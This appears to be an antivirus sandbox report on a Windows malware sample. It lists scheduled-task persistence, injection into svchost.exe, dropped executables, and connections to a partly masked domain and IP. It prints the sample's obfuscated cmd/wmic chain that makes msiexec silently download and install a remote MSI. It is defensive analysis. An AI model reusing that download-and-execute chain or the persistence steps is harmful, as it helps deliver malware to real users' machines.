Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\download http service
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c echo|set /p="wmic process call create 'ms">%temp%\OmaMh.bat&echo|set /p="iexec /i http://ra####episodes.com/backup.msi /q'" >> %temp%\OmaMh.bat&%temp%\OmaMh.bat>%temp%\OmaMh.txt
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\omamh.bat
- %TEMP%\omamh.txt
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\msiwrapper.ini
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files.cab
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files\$dpx$.tmp\09320855f9fb724db37cac3badccd29c.tmp
- %PROGRAMDATA%\ジいて.exe
- %APPDATA%\nuiget\ジいて.exe
- %APPDATA%\nuiget\settings.ini
Deletes the following files
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files\twis4.exe
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\msiwrapper.ini
- %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files.cab
Moves the following files
- from %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files\$dpx$.tmp\09320855f9fb724db37cac3badccd29c.tmp to %TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files\twis4.exe
Network activity
Connects to
- '85.##4.116.139':443
TCP
HTTP GET requests
- http://ra####episodes.com/backup.msi
UDP
- DNS ASK ra####episodes.com
Miscellaneous
Creates and executes the following
- '%TEMP%\mw-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files\twis4.exe'
- '%PROGRAMDATA%\ジいて.exe'
- '%APPDATA%\nuiget\ジいて.exe'
- '<SYSTEM32>\cmd.exe' /c echo|set /p="wmic process call create 'ms">%temp%\OmaMh.bat&echo|set /p="iexec /i http://ra####episodes.com/backup.msi /q'" >> %temp%\OmaMh.bat&%temp%\OmaMh.bat>%temp%\OmaMh.txt' (with hidden window)
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files' (with hidden window)
- '%PROGRAMDATA%\ジいて.exe' ' (with hidden window)
- '<SYSTEM32>\svchost.exe' ' (with hidden window)
- '%APPDATA%\nuiget\ジいて.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /S /D /c" echo"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="wmic process call create 'ms" 1>%TEMP%\OmaMh.bat"
- '<SYSTEM32>\cmd.exe' /S /D /c" set /p="iexec /i http://ra####episodes.com/backup.msi /q'" 1>>%TEMP%\OmaMh.bat"
- '<SYSTEM32>\wbem\wmic.exe' process call create 'msiexec /i http://ra####episodes.com/backup.msi /q'
- '<SYSTEM32>\msiexec.exe' /i http://ra####episodes.com/backup.msi /q
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files
- '%WINDIR%\syswow64\cmd.exe' /c rd /s /q "%TEMP%\MW-13dbaac9-5751-48f8-94cc-fef331a1ca9f\files"
- '<SYSTEM32>\svchost.exe'
